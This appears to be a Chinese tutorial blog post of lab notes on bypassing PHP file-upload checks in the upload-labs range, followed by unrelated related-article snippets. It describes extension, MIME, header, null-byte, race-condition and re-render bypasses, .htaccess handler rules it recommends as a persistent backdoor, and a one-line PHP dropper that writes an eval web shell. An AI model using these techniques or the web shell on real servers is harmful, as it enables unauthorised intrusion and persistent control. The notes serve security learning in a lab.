DAY47WEB 攻防-PHP 应用文件上传函数缺陷条件竞争二次渲染黑白名单JS 绕过

1、PHP-原生态-文件上传-检测后缀&黑白名单
2、PHP-原生态-文件上传-检测信息&类型内容
3、PHP-原生态-文件上传-函数缺陷&逻辑缺陷
4、PHP-原生态-文件上传-版本缺陷&配置缺陷

文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!

测试环境安装参考:

本地使用phpstudy安装upload-labs靶场

https://github.com/fuzzdb-project/fuzzdb

1、前端JS

如何判断是否是前端验证呢?

首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了

如何绕过?

先上传一个图片后缀抓包改成脚本后缀

2、.htaccess(apache独有的配置文件)

一般上传用的不多,主要用来留后门
apache中,.htaccess文件可以上传并执行
这个文件定义了哪个文件可以以脚本方式运行

方式一:
在.htaccess中写入:

<FilesMatch "s.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

然后再上传s.jpg的木马, 这样s.jpg就可解析为php文件
最好拿到shell之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了

方式二:

AddType application/x-httpd-php .png  

3、MIME类型

Content-Type:image/png || image/jpeg

4、文件头判断

GIF89a

5、黑名单-过滤不严

无递归(只检测一次,没循环)
pphphp(因为代码中是把匹配到的黑名单替换为空)

6、黑名单-过滤不严(windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写)

系统大小写敏感属性

7、低版本GET-%00截断

自动解码一次
/var/www/html/upload/x.php%00

8、低版本POST-%00截断

9、黑名单-过滤不严

10、逻辑不严-条件竞争

2.请求不断发包

3.访问创建脚本代码

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

11、二次渲染(后端语言会对图片进行二次渲染,让图片更好的呈现出来,但是这样就会造成一个图片里插入的脚本代码丢失的情况)

1.先搞个正常图片,上传图片后导出渲染后的图片

3.最后利用提示的文件包含执行图片后门代码

12、函数缺陷

1.使用move_uploaded_file 函数
2.保存的文件名可控

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/55108.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ChatGPT与R语言融合技术在生态环境数据统计分析、绘图、模型中的实践与进阶应用

在短短一年多的时间里&#xff0c;GPT已经在多个领域展现出其独特的价值&#xff0c;特别是在数据统计分析领域。GPT的介入为数据处理、模型构建和结果解释带来了前所未有的便利。与此同时&#xff0c;R语言凭借其开源、自由、免费的特性&#xff0c;成为了统计分析和数据可视化…

LaTeX 对新段落会自动缩进。如果你不希望某些段落有缩进,可以使用以下几种方法来取消缩进:

默认情况下&#xff0c;LaTeX 对新段落会自动缩进。如果你不希望某些段落有缩进&#xff0c;可以使用以下几种方法来取消缩进&#xff1a; 全局取消段落缩进&#xff1a; 在导言区添加如下命令可以取消整个文档中的段落缩进&#xff1a; \setlength{\parindent}{0pt}局部取消段…

05 django管理系统 - 部门管理 - 修改部门

04我们已经实现了新增部门的功能&#xff0c;下面开始修改部门模块的实现。 按道理来说&#xff0c;应该是做成弹框样式的&#xff0c;通过ajax悄咪咪的发数据&#xff0c;然后更新前端数据&#xff0c;但是考虑到实际情况&#xff0c;先用页面跳转的方式实现&#xff0c;后面…

TCP/IP相关

1、关于三次握手、四次挥手和TCP的11种状态&#xff1a; 记住这张图就行了&#xff1a; 2、关于慢启动、拥塞避免、超时重传、快速重传、快速恢复 记住这张图就行了&#xff1a; 一些名词解释&#xff1a; MSS&#xff1a;Maximum Segment Size&#xff0c;最大报文长度 RT…

JDBC存在什么问题?MyBatis是如何解决的?

文章目录 引言JDBC核心组件1、DriverManager2、Connection3、Statement4、ResultSet5、SQLException JDBC存在的问题1、繁琐的代码编写2、手动管理资源3、SQL语句的硬编码4、缺乏对象映射5、事务管理复杂6、缺乏缓存支持 MyBatis如何解决这些问题&#xff1f;1、简化代码编写2、…

鸿蒙开发之ArkUI 界面篇 三十四 容器组件Tabs 自定义TabBar

如果需要修改Tabs的图标和文字之间的距离我们该怎么办呢&#xff1f;好在tabBar是联合类型&#xff0c;提供了自定义tabBar&#xff0c;这里就可以显示特殊图标或者是文字图片&#xff0c;如下图&#xff1a; 这里定义了myBuilder的函数&#xff0c;用了 来修饰&#xff0c;没有…

MongoDB中排序、索引和聚合的详细说明

以下是关于MongoDB中排序、索引和聚合的详细说明&#xff1a; 排序&#xff08;Sort&#xff09; 基本语法 使用db.collection.find().sort({field: direction})方法对查询结果进行排序。其中field是要排序的字段&#xff0c;direction可以是1&#xff08;表示升序&#xff0…

结合大语言模型的机械臂抓取操作学习

一、 大语言模型的机械臂抓取操作关键步骤 介绍如何基于大语言模型实现机械臂在PyBullet环境中的抓取操作&#xff0c;涵盖机器人运动学、坐标系转换、抓取候选位姿生成、开放词汇检测以及大语言模型代码生成等模块。 1. 机器人正逆运动学基本概念 正运动学: 已知机器人的关节…

19 Shell Script awk命令

Shell Script awk命令 一、awk 一&#xff09;awk介绍 ​ awk是一个强大的文本分析工具&#xff0c;相对于grep的查找&#xff0c;sed的编辑&#xff0c;awk在其对数据分析并生成报告时&#xff0c;显得尤为强大。简单来说awk就是把文件逐行的读入&#xff0c;以空格为默认分…

《深度学习》【项目】自然语言处理——情感分析 <上>

目录 一、项目介绍 1、项目任务 2、评论信息内容 3、待思考问题 1&#xff09;目标 2&#xff09;输入字词格式 3&#xff09;每一次传入的词/字的个数是否就是评论的长度 4&#xff09;一条评论如果超过32个词/字怎么处理&#xff1f; 5&#xff09;一条评论如果…

【论文阅读】SRCNN

学习资料 论文题目&#xff1a;Learning a Deep Convolutional Network for Image Super-Resolution&#xff08;学习深度卷积网络用于图像超分辨率&#xff09;论文地址&#xff1a;link.springer.com/content/pdf/10.1007/978-3-319-10593-2_13.pdf代码&#xff1a;作者提出的…

白平衡之乘积通道法

免责声明:本文所提供的信息和内容仅供参考。作者对本文内容的准确性、完整性、及时性或适用性不作任何明示或暗示的保证。在任何情况下,作者不对因使用本文内容而导致的任何直接或间接损失承担责任,包括但不限于数据丢失、业务中断或其他经济损失。 读者在使用本文信息时,应…

zabbix报警设置

文章目录 I 通过脚本媒介,调用钉钉电话API。配置脚本设置脚本媒介II 配置发送邮件的信息案例:配置163邮箱配置接收媒介创建动作知识扩展DING 2.0 发钉钉钉机器人自定义webhookzabbix执行远程命令I 通过脚本媒介,调用钉钉电话API。 zabbix可以通过脚本调用钉钉电话API,需要…

oneAPI学习-使用oneAPI 实现矩阵乘法并分析性能瓶颈

oneAPI学习-使用oneAPI 实现矩阵乘法并分析性能瓶颈 一.相关链接二.oneAPI介绍三.矩阵乘法简介四.环境准备五.获取设备列表六.基础版实现代码解释 七.局部内存实现代码解释 八.性能分析1.运行性能分析2.常见分析类型3.分析结果解读4.优化建议5.清理分析数据 oneAPI学习-使用one…

工程文件参考——STM32+HAL+SPI主从机通讯

文章目录 前言CubeMX设置SPI设置NSS设置 SPI从机代码SPI主机代码 前言 关于如何简单的写一个稳定的SPI主从机通讯&#xff0c;思路很简单 1、SPI高速传输的时候很容易出现错位之类的问题&#xff0c;CRC的校验首先是必要的。在STM32中SPI使用DMA通讯可以自动执行CRC的校验&…

Linux——Harbor(容器镜像 管理项目)

镜像拉取存在一定的问题&#xff0c;出现原因在于&#xff1a; 使用官方公共仓库中的镜像。 拉取的镜像&#xff0c;主要保存在一下仓库中&#xff1a; docker.io //Docker hub 最大的官方维护的公共镜像仓库&#xff0c;一般都会提供所有项目的最新版镜像&#xff0c;镜像…

springboot 整合 快手 移动应用 授权 发布视频 小黄车

前言&#xff1a; 因快手文档混乱&#xff0c;官方社区技术交流仍有很多未解之谜&#xff0c;下面3种文档的定义先区分。 代码中的JSON相关工具均用hutool工具包 1.快手 移动双端 原生SDK 文档https://mp.kuaishou.com/platformDocs/develop/mobile-app/ios.html 2.快手 Api 开…

物联网智能项目(含案例说明)

物联网&#xff08;Internet of Things&#xff0c;简称IoT&#xff09;智能项目是指利用物联网技术将各种物理设备、传感器、软件、网络等连接起来&#xff0c;实现设备之间的互联互通&#xff0c;并通过数据采集、传输、处理和分析&#xff0c;实现智能化管理和控制的项目。以…

LINUX---shell变量(或bash变量)和环境变量的区别

Shell 变量是特定于当前 shell 会话的变量。 作用范围&#xff1a;仅在当前 shell 会话中有效。如果你打开了多个终端窗口&#xff0c;每个窗口都有自己的一组 shell 变量&#xff0c;彼此独立。 生命周期&#xff1a;随着 shell 会话的结束而消失&#xff0c;不会传递给其他 …

Qt与下位机通信时,如何等待下位机回复和超时处理

在C或Qt中实现与下位机&#xff08;例如嵌入式设备、传感器等&#xff09;的通信&#xff0c;并且需要等待对方回复&#xff0c;如果几秒后没有收到回复则执行下一步动作&#xff0c;可以使用多种方法来实现这种超时机制。以下是几种常见的实现方式&#xff1a; 1. 使用 QTime…